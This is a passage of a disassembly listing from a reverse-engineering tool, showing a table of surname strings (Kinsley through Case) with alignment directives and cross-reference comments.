		align 10h
aKinsley	db 'Kinsley',0          ; DATA XREF: .nsp0:00431354o
aKindall	db 'Kindall',0          ; DATA XREF: .nsp0:00431350o
aKimura		db 'Kimura',0           ; DATA XREF: .nsp0:0043134Co
		align 4
aKimmett	db 'Kimmett',0          ; DATA XREF: .nsp0:00431348o
aKimmel		db 'Kimmel',0           ; DATA XREF: .nsp0:00431344o
		align 4
aKhong		db 'Khong',0            ; DATA XREF: .nsp0:00431340o
		align 10h
aKeul		db 'Keul',0             ; DATA XREF: .nsp0:0043133Co
		align 4
aKerry_0	db 'Kerry',0            ; DATA XREF: .nsp0:00431338o
		align 10h
aKendall	db 'Kendall',0          ; DATA XREF: .nsp0:00431334o
aKemsley	db 'Kemsley',0          ; DATA XREF: .nsp0:00431330o
aKempton	db 'Kempton',0          ; DATA XREF: .nsp0:0043132Co
aKelsey		db 'Kelsey',0           ; DATA XREF: .nsp0:00431328o
		align 10h
aKelker		db 'Kelker',0           ; DATA XREF: .nsp0:00431324o
		align 4
aKeith		db 'Keith',0            ; DATA XREF: .nsp0:00431320o
		align 10h
aKeepper	db 'Keepper',0          ; DATA XREF: .nsp0:0043131Co
aKeenan		db 'Keenan',0           ; DATA XREF: .nsp0:00431318o
		align 10h
aKee		db 'Kee',0              ; DATA XREF: .nsp0:00431314o
aKawachi	db 'Kawachi',0          ; DATA XREF: .nsp0:00431310o
aKasten		db 'Kasten',0           ; DATA XREF: .nsp0:0043130Co
		align 4
aKassower	db 'Kassower',0         ; DATA XREF: .nsp0:00431308o
		align 10h
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: .nsp0:00431304o
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: .nsp0:00431300o
		align 4
aKamel		db 'Kamel',0            ; DATA XREF: .nsp0:004312FCo
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: .nsp0:004312F8o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: .nsp0:004312F4o
		align 10h
aKalil		db 'Kalil',0            ; DATA XREF: .nsp0:004312F0o
		align 4
aKaligian	db 'Kaligian',0         ; DATA XREF: .nsp0:004312ECo
		align 4
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: .nsp0:004312E8o
aKafadar	db 'Kafadar',0          ; DATA XREF: .nsp0:004312E4o
aKaboolian	db 'Kaboolian',0        ; DATA XREF: .nsp0:004312E0o
		align 4
aKabbash	db 'Kabbash',0          ; DATA XREF: .nsp0:004312DCo
aJulious	db 'Julious',0          ; DATA XREF: .nsp0:004312D8o
aJuliano	db 'Juliano',0          ; DATA XREF: .nsp0:004312D4o
aJucks		db 'Jucks',0            ; DATA XREF: .nsp0:004312D0o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: .nsp0:004312CCo
		align 10h
aJolly		db 'Jolly',0            ; DATA XREF: .nsp0:004312C8o
		align 4
aJohns		db 'Johns',0            ; DATA XREF: .nsp0:004312C4o
		align 10h
aJohannsen	db 'Johannsen',0        ; DATA XREF: .nsp0:004312C0o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: .nsp0:004312BCo
aJewett		db 'Jewett',0           ; DATA XREF: .nsp0:004312B8o
		align 10h
aJespersen	db 'Jespersen',0        ; DATA XREF: .nsp0:004312B4o
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: .nsp0:004312B0o
aJellis		db 'Jellis',0           ; DATA XREF: .nsp0:004312ACo
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: .nsp0:004312A8o
aJay		db 'Jay',0              ; DATA XREF: .nsp0:004312A4o
aJarrell	db 'Jarrell',0          ; DATA XREF: .nsp0:004312A0o
aJarnagin	db 'Jarnagin',0         ; DATA XREF: .nsp0:0043129Co
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: .nsp0:00431298o
		align 4
aJamil		db 'Jamil',0            ; DATA XREF: .nsp0:00431294o
		align 10h
aJain		db 'Jain',0             ; DATA XREF: .nsp0:00431290o
		align 4
aJagoe		db 'Jagoe',0            ; DATA XREF: .nsp0:0043128Co
		align 10h
aJagger		db 'Jagger',0           ; DATA XREF: .nsp0:00431288o
		align 4
aJagers		db 'Jagers',0           ; DATA XREF: .nsp0:00431284o
		align 10h
aJackson	db 'Jackson',0          ; DATA XREF: .nsp0:00431280o
aJacenko	db 'Jacenko',0          ; DATA XREF: .nsp0:0043127Co
aIyer		db 'Iyer',0             ; DATA XREF: .nsp0:00431278o
		align 4
aIsserman	db 'Isserman',0         ; DATA XREF: .nsp0:00431274o
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: .nsp0:00431270o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: .nsp0:0043126Co
		align 4
aIsaac		db 'Isaac',0            ; DATA XREF: .nsp0:00431268o
		align 10h
aInniss		db 'Inniss',0           ; DATA XREF: .nsp0:00431264o
		align 4
aInamura	db 'Inamura',0          ; DATA XREF: .nsp0:00431260o
aIgarashi	db 'Igarashi',0         ; DATA XREF: .nsp0:0043125Co
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: .nsp0:00431258o
		align 4
aIaquinta	db 'Iaquinta',0         ; DATA XREF: .nsp0:00431254o
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: .nsp0:00431250o
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: .nsp0:0043124Co
		align 4
aHurtubise	db 'Hurtubise',0        ; DATA XREF: .nsp0:00431248o
		align 4
aHupp		db 'Hupp',0             ; DATA XREF: .nsp0:00431244o
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: .nsp0:00431240o
		align 4
aHungerford	db 'Hungerford',0       ; DATA XREF: .nsp0:0043123Co
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: .nsp0:00431238o
		align 10h
aHuey		db 'Huey',0             ; DATA XREF: .nsp0:00431234o
		align 4
aHoy		db 'Hoy',0              ; DATA XREF: .nsp0:00431230o
aHoward		db 'Howard',0           ; DATA XREF: .nsp0:0043122Co
		align 4
aHottle		db 'Hottle',0           ; DATA XREF: .nsp0:00431228o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: .nsp0:00431224o
aHoshida	db 'Hoshida',0          ; DATA XREF: .nsp0:00431220o
aHorsley	db 'Horsley',0          ; DATA XREF: .nsp0:0043121Co
aHopkins	db 'Hopkins',0          ; DATA XREF: .nsp0:00431218o
aHooker_0	db 'Hooker',0           ; DATA XREF: .nsp0:00431214o
		align 4
aHolzman	db 'Holzman',0          ; DATA XREF: .nsp0:00431210o
aHolway		db 'Holway',0           ; DATA XREF: .nsp0:0043120Co
		align 4
aHolter		db 'Holter',0           ; DATA XREF: .nsp0:00431208o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: .nsp0:00431204o
aHolmes		db 'Holmes',0           ; DATA XREF: .nsp0:00431200o
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: .nsp0:004311FCo
		align 4
aHokanson	db 'Hokanson',0         ; DATA XREF: .nsp0:004311F8o
		align 10h
aHoffman	db 'Hoffman',0          ; DATA XREF: .nsp0:004311F4o
aHoffer		db 'Hoffer',0           ; DATA XREF: .nsp0:004311F0o
		align 10h
aHock		db 'Hock',0             ; DATA XREF: .nsp0:004311ECo
		align 4
aHoang		db 'Hoang',0            ; DATA XREF: .nsp0:004311E8o
		align 10h
aHitchcock	db 'Hitchcock',0        ; DATA XREF: .nsp0:004311E4o
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: .nsp0:004311E0o
		align 4
aHind		db 'Hind',0             ; DATA XREF: .nsp0:004311DCo
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: .nsp0:004311D8o
		align 4
aHeyeck		db 'Heyeck',0           ; DATA XREF: .nsp0:004311D4o
		align 10h
aHeubert	db 'Heubert',0          ; DATA XREF: .nsp0:004311D0o
aHester		db 'Hester',0           ; DATA XREF: .nsp0:004311CCo
		align 10h
aHerrera	db 'Herrera',0          ; DATA XREF: .nsp0:004311C8o
aHernandez	db 'Hernandez',0        ; DATA XREF: .nsp0:004311C4o
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: .nsp0:004311C0o
		align 10h
aHenery		db 'Henery',0           ; DATA XREF: .nsp0:004311BCo
		align 4
aHemphill	db 'Hemphill',0         ; DATA XREF: .nsp0:004311B8o
		align 4
aHelprin	db 'Helprin',0          ; DATA XREF: .nsp0:004311B4o
aHellmiss	db 'Hellmiss',0         ; DATA XREF: .nsp0:004311B0o
		align 4
aHellman	db 'Hellman',0          ; DATA XREF: .nsp0:004311ACo
aHeiland	db 'Heiland',0          ; DATA XREF: .nsp0:004311A8o
aHeft		db 'Heft',0             ; DATA XREF: .nsp0:004311A4o
		align 10h
aHeermans	db 'Heermans',0         ; DATA XREF: .nsp0:004311A0o
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: .nsp0:0043119Co
		align 4
aHaynes		db 'Haynes',0           ; DATA XREF: .nsp0:00431198o
		align 10h
aHayes		db 'Hayes',0            ; DATA XREF: .nsp0:00431194o
		align 4
aHawkes		db 'Hawkes',0           ; DATA XREF: .nsp0:00431190o
		align 10h
aHaviaras	db 'Haviaras',0         ; DATA XREF: .nsp0:0043118Co
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: .nsp0:00431188o
aHartnett	db 'Hartnett',0         ; DATA XREF: .nsp0:00431184o
		align 10h
aHartmann	db 'Hartmann',0         ; DATA XREF: .nsp0:00431180o
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: .nsp0:0043117Co
aHarrigan	db 'Harrigan',0         ; DATA XREF: .nsp0:00431178o
		align 10h
aHarlow		db 'Harlow',0           ; DATA XREF: .nsp0:00431174o
		align 4
aHargraves	db 'Hargraves',0        ; DATA XREF: .nsp0:00431170o
		align 4
aHarding	db 'Harding',0          ; DATA XREF: .nsp0:0043116Co
aHanssen	db 'Hanssen',0          ; DATA XREF: .nsp0:00431168o
aHand		db 'Hand',0             ; DATA XREF: .nsp0:00431164o
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: .nsp0:00431160o
		align 4
aHamer		db 'Hamer',0            ; DATA XREF: .nsp0:0043115Co
		align 10h
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: .nsp0:00431158o
		align 10h
aHalpert	db 'Halpert',0          ; DATA XREF: .nsp0:00431154o
aHallowell	db 'Hallowell',0        ; DATA XREF: .nsp0:00431150o
		align 4
aHalkias	db 'Halkias',0          ; DATA XREF: .nsp0:0043114Co
aHaley		db 'Haley',0            ; DATA XREF: .nsp0:00431148o
		align 4
aHackshaw	db 'Hackshaw',0         ; DATA XREF: .nsp0:00431144o
		align 10h
aHackman	db 'Hackman',0          ; DATA XREF: .nsp0:00431140o
aHaar		db 'Haar',0             ; DATA XREF: .nsp0:0043113Co
		align 10h
aHa		db 'Ha',0               ; DATA XREF: .nsp0:00431138o
		align 4
aGuo		db 'Guo',0              ; DATA XREF: .nsp0:00431134o
aGunn		db 'Gunn',0             ; DATA XREF: .nsp0:00431130o
		align 10h
aGuenthart	db 'Guenthart',0        ; DATA XREF: .nsp0:0043112Co
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: .nsp0:00431128o
		align 4
aGruner		db 'Gruner',0           ; DATA XREF: .nsp0:00431124o
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: .nsp0:00431120o
		align 4
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: .nsp0:0043111Co
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: .nsp0:00431118o
		align 10h
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: .nsp0:00431114o
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: .nsp0:00431110o
		align 4
aGravell	db 'Gravell',0          ; DATA XREF: .nsp0:0043110Co
aGozzi		db 'Gozzi',0            ; DATA XREF: .nsp0:00431108o
		align 4
aGoody		db 'Goody',0            ; DATA XREF: .nsp0:00431104o
		align 10h
aGoodearl	db 'Goodearl',0         ; DATA XREF: .nsp0:00431100o
		align 4
aGood_0		db 'Good',0             ; DATA XREF: .nsp0:004310FCo
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: .nsp0:004310F8o
		align 10h
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: .nsp0:004310F4o
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: .nsp0:004310F0o
aGlegg		db 'Glegg',0            ; DATA XREF: .nsp0:004310ECo
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: .nsp0:004310E8o
aGist		db 'Gist',0             ; DATA XREF: .nsp0:004310E4o
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: .nsp0:004310E0o
		align 4
aGill		db 'Gill',0             ; DATA XREF: .nsp0:004310DCo
		align 10h
aGili		db 'Gili',0             ; DATA XREF: .nsp0:004310D8o
		align 4
aGilbert	db 'Gilbert',0          ; DATA XREF: .nsp0:004310D4o
aGibson_0	db 'Gibson',0           ; DATA XREF: .nsp0:004310D0o
		align 4
aGibbens	db 'Gibbens',0          ; DATA XREF: .nsp0:004310CCo
aGhorai		db 'Ghorai',0           ; DATA XREF: .nsp0:004310C8o
		align 4
aGerrett	db 'Gerrett',0          ; DATA XREF: .nsp0:004310C4o
aGeorgi		db 'Georgi',0           ; DATA XREF: .nsp0:004310C0o
		align 4
aGemberling	db 'Gemberling',0       ; DATA XREF: .nsp0:004310BCo
		align 4
aGeller		db 'Geller',0           ; DATA XREF: .nsp0:004310B8o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: .nsp0:004310B4o
aGarman		db 'Garman',0           ; DATA XREF: .nsp0:004310B0o
		align 4
aGarfield_0	db 'Garfield',0         ; DATA XREF: .nsp0:004310ACo
		align 4
aGambini	db 'Gambini',0          ; DATA XREF: .nsp0:004310A8o
aGalwey		db 'Galwey',0           ; DATA XREF: .nsp0:004310A4o
		align 4
aGaleotti	db 'Galeotti',0         ; DATA XREF: .nsp0:004310A0o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: .nsp0:0043109Co
		align 10h
aGabrielli	db 'Gabrielli',0        ; DATA XREF: .nsp0:00431098o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: .nsp0:00431094o
		align 4
aFurth		db 'Furth',0            ; DATA XREF: .nsp0:00431090o
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: .nsp0:0043108Co
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: .nsp0:00431088o
		align 10h
aFrye		db 'Frye',0             ; DATA XREF: .nsp0:00431084o
		align 4
aFryberger	db 'Fryberger',0        ; DATA XREF: .nsp0:00431080o
		align 4
aFrowiss	db 'Frowiss',0          ; DATA XREF: .nsp0:0043107Co
aFrisken	db 'Frisken',0          ; DATA XREF: .nsp0:00431078o
aFriedland	db 'Friedland',0        ; DATA XREF: .nsp0:00431074o
		align 10h
aFried		db 'Fried',0            ; DATA XREF: .nsp0:00431070o
		align 4
aFreundlich	db 'Freundlich',0       ; DATA XREF: .nsp0:0043106Co
		align 4
aFreid		db 'Freid',0            ; DATA XREF: .nsp0:00431068o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: .nsp0:00431064o
		align 4
aFranz		db 'Franz',0            ; DATA XREF: .nsp0:00431060o
		align 4
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: .nsp0:0043105Co
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: .nsp0:00431058o
		align 10h
aFossi		db 'Fossi',0            ; DATA XREF: .nsp0:00431054o
		align 4
aFossey		db 'Fossey',0           ; DATA XREF: .nsp0:00431050o
		align 10h
aFortier	db 'Fortier',0          ; DATA XREF: .nsp0:0043104Co
aFortes		db 'Fortes',0           ; DATA XREF: .nsp0:00431048o
		align 10h
aForester	db 'Forester',0         ; DATA XREF: .nsp0:00431044o
		align 4
aFolks		db 'Folks',0            ; DATA XREF: .nsp0:00431040o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: .nsp0:0043103Co
		align 4
aFlier		db 'Flier',0            ; DATA XREF: .nsp0:00431038o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: .nsp0:00431034o
aFisk		db 'Fisk',0             ; DATA XREF: .nsp0:00431030o
		align 4
aFiorina	db 'Fiorina',0          ; DATA XREF: .nsp0:0043102Co
aFinnegan	db 'Finnegan',0         ; DATA XREF: .nsp0:00431028o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: .nsp0:00431024o
aFink		db 'Fink',0             ; DATA XREF: .nsp0:00431020o
		align 10h
aField_0	db 'Field',0            ; DATA XREF: .nsp0:0043101Co
		align 4
aFido		db 'Fido',0             ; DATA XREF: .nsp0:00431018o
		align 10h
aFeuer		db 'Feuer',0            ; DATA XREF: .nsp0:00431014o
		align 4
aFerriell	db 'Ferriell',0         ; DATA XREF: .nsp0:00431010o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: .nsp0:0043100Co
		align 10h
aFernandes	db 'Fernandes',0        ; DATA XREF: .nsp0:00431008o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: .nsp0:00431004o
aFeldman	db 'Feldman',0          ; DATA XREF: .nsp0:00431000o
aFejzo		db 'Fejzo',0            ; DATA XREF: .nsp0:00430FFCo
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: .nsp0:00430FF8o
		align 10h
aFates		db 'Fates',0            ; DATA XREF: .nsp0:00430FF4o
		align 4
aFasso		db 'Fasso',27h,0        ; DATA XREF: .nsp0:00430FF0o
		align 10h
aFarren		db 'Farren',0           ; DATA XREF: .nsp0:00430FECo
		align 4
aFarone		db 'Farone',0           ; DATA XREF: .nsp0:00430FE8o
		align 10h
aFaris		db 'Faris',0            ; DATA XREF: .nsp0:00430FE4o
		align 4
aFalorsi	db 'Falorsi',0          ; DATA XREF: .nsp0:00430FE0o
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: .nsp0:00430FDCo
		align 10h
aFaioes		db 'Faioes',0           ; DATA XREF: .nsp0:00430FD8o
		align 4
aFagan		db 'Fagan',0            ; DATA XREF: .nsp0:00430FD4o
		align 10h
aFabbris	db 'Fabbris',0          ; DATA XREF: .nsp0:00430FD0o
aEverett	db 'Everett',0          ; DATA XREF: .nsp0:00430FCCo
aEuripides	db 'Euripides',0        ; DATA XREF: .nsp0:00430FC8o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: .nsp0:00430FC4o
		align 4
aEstes		db 'Estes',0            ; DATA XREF: .nsp0:00430FC0o
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: .nsp0:00430FBCo
		align 4
aErez		db 'Erez',0             ; DATA XREF: .nsp0:00430FB8o
		align 10h
aErdos		db 'Erdos',0            ; DATA XREF: .nsp0:00430FB4o
		align 4
aErdman		db 'Erdman',0           ; DATA XREF: .nsp0:00430FB0o
		align 10h
aErbach		db 'Erbach',0           ; DATA XREF: .nsp0:00430FACo
		align 4
aEppling	db 'Eppling',0          ; DATA XREF: .nsp0:00430FA8o
aEnyeart	db 'Enyeart',0          ; DATA XREF: .nsp0:00430FA4o
aEncinas	db 'Encinas',0          ; DATA XREF: .nsp0:00430FA0o
aElvis		db 'Elvis',0            ; DATA XREF: .nsp0:00430F9Co
		align 4
aElmerick	db 'Elmerick',0         ; DATA XREF: .nsp0:00430F98o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: .nsp0:00430F94o
		align 10h
aEliasson	db 'Eliasson',0         ; DATA XREF: .nsp0:00430F90o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: .nsp0:00430F8Co
aEdward		db 'Edward',0           ; DATA XREF: .nsp0:00430F88o
		align 10h
aEdner		db 'Edner',0            ; DATA XREF: .nsp0:00430F84o
		align 4
aEdley		db 'Edley',0            ; DATA XREF: .nsp0:00430F80o
		align 10h
aEckel		db 'Eckel',0            ; DATA XREF: .nsp0:00430F7Co
		align 4
aEbeling	db 'Ebeling',0          ; DATA XREF: .nsp0:00430F78o
aEardley	db 'Eardley',0          ; DATA XREF: .nsp0:00430F74o
aDwyer		db 'Dwyer',0            ; DATA XREF: .nsp0:00430F70o
		align 10h
aDussault	db 'Dussault',0         ; DATA XREF: .nsp0:00430F6Co
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: .nsp0:00430F68o
aDuffin		db 'Duffin',0           ; DATA XREF: .nsp0:00430F64o
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: .nsp0:00430F60o
aDrinker	db 'Drinker',0          ; DATA XREF: .nsp0:00430F5Co
aDowsland	db 'Dowsland',0         ; DATA XREF: .nsp0:00430F58o
		align 4
aDoug		db 'Doug',0             ; DATA XREF: .nsp0:00430F54o
		align 10h
aDoty		db 'Doty',0             ; DATA XREF: .nsp0:00430F50o
		align 4
aDosi		db 'Dosi',0             ; DATA XREF: .nsp0:00430F4Co
		align 10h
aDorf		db 'Dorf',0             ; DATA XREF: .nsp0:00430F48o
		align 4
aDore		db 'Dore',0             ; DATA XREF: .nsp0:00430F44o
		align 10h
aDoonan		db 'Doonan',0           ; DATA XREF: .nsp0:00430F40o
		align 4
aDonner		db 'Donner',0           ; DATA XREF: .nsp0:00430F3Co
		align 10h
aDonahue	db 'Donahue',0          ; DATA XREF: .nsp0:00430F38o
aDoherty	db 'Doherty',0          ; DATA XREF: .nsp0:00430F34o
aDockery	db 'Dockery',0          ; DATA XREF: .nsp0:00430F30o
aDirksen	db 'Dirksen',0          ; DATA XREF: .nsp0:00430F2Co
aDionysius	db 'Dionysius',0        ; DATA XREF: .nsp0:00430F28o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: .nsp0:00430F24o
		align 4
aDifronzo	db 'Difronzo',0         ; DATA XREF: .nsp0:00430F20o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: .nsp0:00430F1Co
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: .nsp0:00430F18o
		align 4
aDicks		db 'Dicks',0            ; DATA XREF: .nsp0:00430F14o
		align 10h
aDFini		db 'D',27h,'fini',0     ; DATA XREF: .nsp0:00430F10o
		align 4
aDeutsch	db 'Deutsch',0          ; DATA XREF: .nsp0:00430F0Co
aDesombre	db 'Desombre',0         ; DATA XREF: .nsp0:00430F08o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: .nsp0:00430F04o
aDenham		db 'Denham',0           ; DATA XREF: .nsp0:00430F00o
		align 4
aDenault	db 'Denault',0          ; DATA XREF: .nsp0:00430EFCo
aDemusz		db 'Demusz',0           ; DATA XREF: .nsp0:00430EF8o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: .nsp0:00430EF4o
		align 4
aDeming		db 'Deming',0           ; DATA XREF: .nsp0:00430EF0o
		align 10h
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: .nsp0:00430EECo
		align 4
aDelger		db 'Delger',0           ; DATA XREF: .nsp0:00430EE8o
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: .nsp0:00430EE4o
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: .nsp0:00430EE0o
		align 10h
aDefeciani	db 'Defeciani',0        ; DATA XREF: .nsp0:00430EDCo
		align 4
aDees		db 'Dees',0             ; DATA XREF: .nsp0:00430ED8o
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: .nsp0:00430ED4o
aDerousse	db 'deRousse',0         ; DATA XREF: .nsp0:00430ED0o
		align 4
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: .nsp0:00430ECCo
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: .nsp0:00430EC8o
		align 10h
aDegennaro	db 'DeGennaro',0        ; DATA XREF: .nsp0:00430EC4o
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: .nsp0:00430EC0o
aDavid		db 'David',0            ; DATA XREF: .nsp0:00430EBCo
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: .nsp0:00430EB8o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: .nsp0:00430EB4o
		align 10h
aDas		db 'Das',0              ; DATA XREF: .nsp0:00430EB0o
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: .nsp0:00430EACo
aDapice		db 'Dapice',0           ; DATA XREF: .nsp0:00430EA8o
		align 4
aDante		db 'Dante',0            ; DATA XREF: .nsp0:00430EA4o
		align 10h
aDanieli	db 'Danieli',0          ; DATA XREF: .nsp0:00430EA0o
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: .nsp0:00430E9Co
aDaly		db 'Daly',0             ; DATA XREF: .nsp0:00430E98o
		align 4
aDaldalian	db 'Daldalian',0        ; DATA XREF: .nsp0:00430E94o
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: .nsp0:00430E90o
aCyders		db 'Cyders',0           ; DATA XREF: .nsp0:00430E8Co
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: .nsp0:00430E88o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: .nsp0:00430E84o
		align 4
aCurrier	db 'Currier',0          ; DATA XREF: .nsp0:00430E80o
aCui		db 'Cui',0              ; DATA XREF: .nsp0:00430E7Co
aCroxton	db 'Croxton',0          ; DATA XREF: .nsp0:00430E78o
aCroxen		db 'Croxen',0           ; DATA XREF: .nsp0:00430E74o
		align 10h
aCroshaw	db 'Croshaw',0          ; DATA XREF: .nsp0:00430E70o
aCrocker	db 'Crocker',0          ; DATA XREF: .nsp0:00430E6Co
aCrawford	db 'Crawford',0         ; DATA XREF: .nsp0:00430E68o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: .nsp0:00430E64o
aCounter	db 'Counter',0          ; DATA XREF: .nsp0:00430E60o
aCosmides	db 'Cosmides',0         ; DATA XREF: .nsp0:00430E5Co
		align 4
aCornish	db 'Cornish',0          ; DATA XREF: .nsp0:00430E58o
aCorey		db 'Corey',0            ; DATA XREF: .nsp0:00430E54o
		align 4
aConnors	db 'Connors',0          ; DATA XREF: .nsp0:00430E50o
aCondodina	db 'Condodina',0        ; DATA XREF: .nsp0:00430E4Co
		align 4
aConcino	db 'Concino',0          ; DATA XREF: .nsp0:00430E48o
aComstock	db 'Comstock',0         ; DATA XREF: .nsp0:00430E44o
		align 10h
aCompton	db 'Compton',0          ; DATA XREF: .nsp0:00430E3Co
					; .nsp0:00430E40o
aCollis		db 'Collis',0           ; DATA XREF: .nsp0:00430E38o
		align 10h
aCollard	db 'Collard',0          ; DATA XREF: .nsp0:00430E34o
aColella	db 'Colella',0          ; DATA XREF: .nsp0:00430E30o
aColdren	db 'Coldren',0          ; DATA XREF: .nsp0:00430E2Co
aCoito		db 'Coito',0            ; DATA XREF: .nsp0:00430E28o
		align 10h
aCoblenz	db 'Coblenz',0          ; DATA XREF: .nsp0:00430E24o
aClow		db 'Clow',0             ; DATA XREF: .nsp0:00430E20o
		align 10h
aClifton	db 'Clifton',0          ; DATA XREF: .nsp0:00430E1Co
aClement	db 'Clement',0          ; DATA XREF: .nsp0:00430E18o
aClark		db 'Clark',0            ; DATA XREF: .nsp0:00430E14o
		align 4
aClancy		db 'Clancy',0           ; DATA XREF: .nsp0:00430E10o
		align 10h
aClaffey	db 'Claffey',0          ; DATA XREF: .nsp0:00430E0Co
aCifarelli	db 'Cifarelli',0        ; DATA XREF: .nsp0:00430E08o
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: .nsp0:00430E04o
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: .nsp0:00430E00o
		align 4
aChurch		db 'Church',0           ; DATA XREF: .nsp0:00430DFCo
		align 10h
aChupasko	db 'Chupasko',0         ; DATA XREF: .nsp0:00430DF8o
		align 4
aChu		db 'Chu',0              ; DATA XREF: .nsp0:00430DF4o
aChristopher	db 'Christopher',0      ; DATA XREF: .nsp0:00430DF0o
aChristie	db 'Christie',0         ; DATA XREF: .nsp0:00430DECo
		align 4
aChristiano	db 'Christiano',0       ; DATA XREF: .nsp0:00430DE8o
		align 4
aChristian	db 'Christian',0        ; DATA XREF: .nsp0:00430DE4o
		align 10h
aChristenson	db 'Christenson',0      ; DATA XREF: .nsp0:00430DE0o
aChinman	db 'Chinman',0          ; DATA XREF: .nsp0:00430DDCo
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: .nsp0:00430DD8o
aChilds		db 'Childs',0           ; DATA XREF: .nsp0:00430DD4o
		align 4
aChildress	db 'Childress',0        ; DATA XREF: .nsp0:00430DD0o
		align 4
aChien		db 'Chien',0            ; DATA XREF: .nsp0:00430DCCo
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: .nsp0:00430DC8o
		align 4
aChervinsky	db 'Chervinsky',0       ; DATA XREF: .nsp0:00430DC4o
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: .nsp0:00430DC0o
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: .nsp0:00430DBCo
		align 4
aCharles_0	db 'Charles',0          ; DATA XREF: .nsp0:00430DB8o
aChapman	db 'Chapman',0          ; DATA XREF: .nsp0:00430DB4o
aCerioli	db 'Cerioli',0          ; DATA XREF: .nsp0:00430DB0o
aCeniceros	db 'Ceniceros',0        ; DATA XREF: .nsp0:00430DACo
		align 4
aCavell		db 'Cavell',0           ; DATA XREF: .nsp0:00430DA8o
		align 10h
aCavanagh	db 'Cavanagh',0         ; DATA XREF: .nsp0:00430DA4o
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: .nsp0:00430DA0o
		align 4
aCaspar		db 'Caspar',0           ; DATA XREF: .nsp0:00430D9Co
		align 10h
aCase		db 'Case',0             ; DATA XREF: .nsp0:00430D98o
		align 4
